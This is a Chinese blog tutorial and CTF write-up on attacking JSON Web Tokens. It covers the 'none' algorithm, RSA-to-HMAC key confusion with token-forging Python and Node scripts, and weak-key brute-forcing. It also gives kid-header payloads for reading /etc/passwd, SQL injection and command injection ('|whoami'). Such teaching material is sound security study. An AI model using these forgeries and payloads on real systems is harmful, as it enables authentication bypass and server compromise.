zoukankan      html  css  js  c++  java
  • Json Web Token(jwt)攻击方法

    0x01:JWT基础

    1. 简介

    JWT的全称是Json Web Token,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。

    2. 组成

    header+payload+signature

    header

    heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。

    {
    	"typ":"JWT",
    	"alg":"HS256"
    }
    

    3. payload

    payload则为用户数据,如一次登录的过程可能会传递一下数据

    {
        "user_role" : "finn",    	//当前登录用户
        "iss": "admin",          	//该JWT的签发者,有些是URL
        "iat": 1573440582,        //签发时间
        "exp": 1573940267,        //过期时间
        "nbf": 1573440582,        //该时间之前不接收处理该Token
        "domain": "example.com",   //面向的用户
        "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
    }
    

    4. signature

    这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下

    signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key
    

    header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"="号,并且将"+"替换成"-"、"/"替换成"_"

    0x02:JWT安全问题

    1. 空加密算法

    JWT支持空加密算法,可以在header中指定alg为None,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证,如下:

    {
        "alg" : "None",
        "typ" : "jwt"
    }
    {
        "user" : "Admin"
    }
    

    生成的jwt为

    ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0.ewogICAgInVzZXIiOiJBZG1pbiIKfQ
    

    (header+"."+payload+".",去掉了’.’+signature字段)

    空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。

    1.1 CTFshow Web入门 Web345题

    拿到jwt的加密字符,解码可以看到每一段后面都会有随机的字符,需要在每一段的后面加=号,数据才能完全正确显示出来。因为header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"="号,并且将"+"替换成"-"、"/"替换成"_"

    image-20211231111058962

    可以注意到他只有两段,并且alg的值为None。说明加密算法为空。我们在数据完全正确显示的基础上,将sub的值改成admin。然后进行base64编码

    eyJhbGciOiJOb25lIiwidHlwIjoiand0In0uW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDA5MjA2NjUsImV4cCI6MTY0MDkyNzg2NSwibmJmIjoxNjQwOTIwNjY1LCJzdWIiOiJhZG1pbiIsImp0aSI6ImIyZjIxNDlhYmM0M2M1MDJhNTBlYjgwNmMxMmY3YjY1In1d
    

    image-20211231111945547

    1.2 CTFhub

    修改字段值,然后jwt编码,编码脚本

    import base64
    
    def jwtBase64Encode(x):
        return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
    
    header = input("[*] 输入header部分的明文,放一行:")
    payload = input("[*] 输入payload部分的明文,放一行:")
    print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
    

    得到flag,第二段后面的.不能少

    image-20211231114500320

    1.3 CTFshow Web入门 Web346题

    修改字段值,然后编码,脚本如下

    import base64
    
    def jwtBase64Encode(x):
        return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
    
    
    header = input("[*] 输入header部分的明文,放一行:")
    payload = input("[*] 输入payload部分的明文,放一行:")
    print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
    

    2. RSA改成HMAC

    JWT中最常用的两种算法为HMAC和RSA

    HMAC是一种对称加密算法,使用相同的密钥进行加解密。

    RSA是一种非对称加密算法,使用私钥加密,公钥解密。

    在HMAC和RSA中,都使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

    密钥一般情况下是无法获取到的,但是如果可以获取到公钥,我们可以将加密算法RSA改成HMAC,即将alg字段由RS256改成HS256,同时使用获取到的公钥作为算法的密钥,对token进行签名提交给服务器端。服务器会将RSA的公钥作为当前算法(HMAC)的密钥,HMAC公钥和密钥相同,使用HS256算法对接收到的签名进行验证。

    2.1 CTFhub 修改签名算法

    利用脚本:

    import jwt
    import base64
    
    public ="""-----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtjqDrHGpQVXtYuaIdiqp
    8ot4chpzxrthR/OyB2U6t6iFrQBgBaGa65wm7m1Yp9ofygVohowSjdU1HYU5zpLE
    LpTwOPeZsMQ9rOVgd/ND6vw+tv/EK0k7jovpu6OWf5F8f1/R8m4KesLJxaLoXfzM
    JBPn5gNQTaU0s59fQxMVdl7cyOx9WXnm+bK/dyt6DFtInQznfDhJlQI8Ofym3EuS
    DXrD7qggbmHP2CLtErW+lFl63kx4VwxbDuxosPI3g5CFEELNhfhtM9UUcG2Pq/7G
    29bUrBelQPPEUEV5w7kcgU7H50F26TJ5vgJZ/K7h5xoHSG5pMvAAQag3UMqqblh2
    pQIDAQAB
    -----END PUBLIC KEY-----
    """
    payload={ "username": "admin","role": "admin"}
    print(jwt.encode(payload, key=public, algorithm='HS256'))
    

    这里我用的轻量级服务器跑的,出现的报错问题可以参考https://codeantenna.com/a/r9mHkq9dXb

    2.2 CTFshow Web入门 web349

    访问/private.key和/public.key拿到公钥和私钥

    然后直接生成jwt

    # 已知私钥然后自己重新生成 jwt 字符串
    
    import jwt
    public = open('private.key', 'r').read()
    #print(public)
    payload={"user":"admin"}
    print(jwt.encode(payload, key=public, algorithm='RS256'))
    

    改成http post,直接发包

    image-20211231163857163

    2.3 CTFshow Web入门 web350

    const jwt = require('jsonwebtoken');
    var fs = require('fs');
    var privateKey = fs.readFileSync('public.key');
    var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
    console.log(token)
    

    node.js写的脚本,获取到payload。

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MTA3ODI3MDV9.6K4MH3aChKyeyIFtDCWRBO33P8QgrB7wPeOUjF-URGg
    

    改成POST请求方法。

    image-20211231165625253

    3. 密钥爆破

    密钥爆破的基础

    1、知道jwt使用的加密算法

    2、一段有效的、已签名的token

    3、签名用的密钥不复杂(弱密钥)

    爆破方法

    借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker

    使用方法:

    docker build . -t jwtcrack
    docker run -it --rm  jwtcrack 要爆破的otken
    

    image-20211129011725217

    然后使用jwt.io网站进行编码

    3.1 CTFshow Web入门 web347-348

    爆破即可

    image-20211231153248593

    然后修改数据重放数据即可。

    image-20211231154031472

    image-20211231154735489

    4. 修改KID参数

    Kid是header里面的一个参数,该参数用户可控,一般用于指定加密算法的密钥

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "/home/jwt/.ssh/pem"
    }
    

    4.1 任意文件读取

    kid参数用于读取密钥文件,如果没有对参数过滤,可以读取其他文件

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "/etc/passwd"
    }
    

    4.2 SQL注入

    kid也可以从数据库中提取数据,通过构造SQL语句来获取数据或者是绕过signature的验证。

    {
        "alg" : "HS256",
        "typ" : "jwt",
        "kid" : "key11111111' || union select 'secretkey' -- "
    }
    

    4.3 命令执行

    kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。

    "/path/to/key_file|whoami"
    

    对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。

    4.4 信息泄露

    JWT保证的是数据传输过程中的完整性而不是机密性。

    如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。

    5. 修改JKU/X5U

    JKU用于指定一组用于验证令牌的密钥的URL,类似kid,也可以由用户指定输入数据,用户可以指定一组自定义的密钥文件,并指定Web应用使用改组密钥来验证token

    X5U则以URL的形式允许攻击者指定验证令牌的公钥证书和证书链

  • 相关阅读:
    Win11安装跳过TPM的方法 Win11安装怎么跳过TPM
    选取文件,列举文件(含子文件夹),记录大小信息,限制文件层级
    选取文件夹,枚举文件及子文件夹
    数据库SQL中having和where的用法区别
    Environ 函数调用系统环境变量 电脑用户名等
    Notepad++正则表达式语法
    VB几种函数参数传递方法,Variant,数组,Optional,ParamArray
    Access导出到Excel方法汇总
    VBA编程自动导出生成Excel表
    LeetCode 136 只出现一次的数字
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/15748380.html
Copyright © 2011-2022 走看看